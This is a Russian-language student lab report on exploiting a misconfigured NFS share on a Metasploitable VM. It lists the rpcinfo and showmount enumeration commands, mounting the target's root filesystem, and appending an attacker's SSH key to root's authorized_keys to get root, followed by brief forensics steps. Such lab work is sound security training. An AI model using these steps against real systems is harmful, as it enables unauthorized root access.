Тыщенко Леонид Михайлович, 11-902

Лабораторная работа №4. Использование уязвимости неправильно сконфигурированной NFS Share.

## Атака на Metasploitable

### Сканирование портов Metasploitable

1. использован файл /var/tmp/scan.txt с результатом сканирования портов;
2. определены порты, которые используют сервисы rpcinfo, nfs и ssh, и их статус (2049, 22, 111).
3. Оценка работы NFS сервера
4. выполнена команду rpcinfo –p 192.168.164.130;

Команда rpcinfo делает вызов к серверу RPC и сообщает о его состоянии. Мы просим RPC сервер Metasploitable показать нам все свои задачи RPC, которые выполняются на данный момент. В данном случае нас интересует nfs сервер.

1. showmount -e MS\_IP - запросить вывод состояния NFS сервиса на машине жертвы.

Каталог “/” – является корнем файловой системы. Привилегии монтировать в корень файловой системы дает всем окружающим пространство для дальнейших действий.

## Использование неправильно сконфигурированной NFS Mount.

### Создание пары ключей SSH.

1. создан каталог /root/.ssh;
2. выполнена команда ssh-keygen -t rsa -b 4096 для создания ключей.

### Монтирование файловой системы Metasploitable.

1. примонтирована файловая система машины-жертвы командой mount -t nfs 192.168.164.130:/ /mnt -o nolock;

### Изменение файла authorized\_keys машины-жертвы.

1. скопирован публичный ключ командой cp /root/.ssh/hacker\_rsa.pub /mnt/root/.ssh/;
2. скопирован публичный ключ в authorized\_keys командой cat id\_rsa.pub >> authorized\_keys;
3. просмотреть измененный файл authorized\_keys.

### Получение root прав.

### выполнен переход в каталог /root/.ssh/;

1. установлено подключение по ssh к машине жертвы.

## Форензика

### просмотрены список подключенных машин к серверу NFS командой showmount –a 192.168.164.130;

### размонтирована файловая система машины-жертвы;

## Оформление результатов работы

